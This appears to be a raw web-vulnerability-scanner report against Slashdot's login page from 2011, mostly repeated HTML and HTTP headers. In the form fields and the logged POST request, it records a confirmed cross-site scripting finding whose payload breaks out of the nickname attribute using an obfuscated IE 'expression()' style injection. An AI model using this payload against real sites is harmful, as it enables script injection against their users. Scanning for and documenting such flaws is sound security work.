$('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="..
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: Gimme your biggest, strongest, cheapest drink.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:01:21 GMT
X-Varnish: 1629929774
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '439276264956063540', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="..
|
- /my/login
/my/login CONFIRMED |
Parameters
| Parameter | Type | Value |
| returnto | POST | 3 |
| op | POST | userlogin |
| unickname | POST | " stYle="x:expre/**/ssion(alert(9)) |
| upasswd | POST | 3 |
| login_temp | POST | yes |
Request
POST /my/login HTTP/1.1
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 112
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3&login_temp=yes
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 112
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3&login_temp=yes
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: Woohoo, I'm popular!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:01:56 GMT
X-Varnish: 1781030451
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '446692919681467003', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" 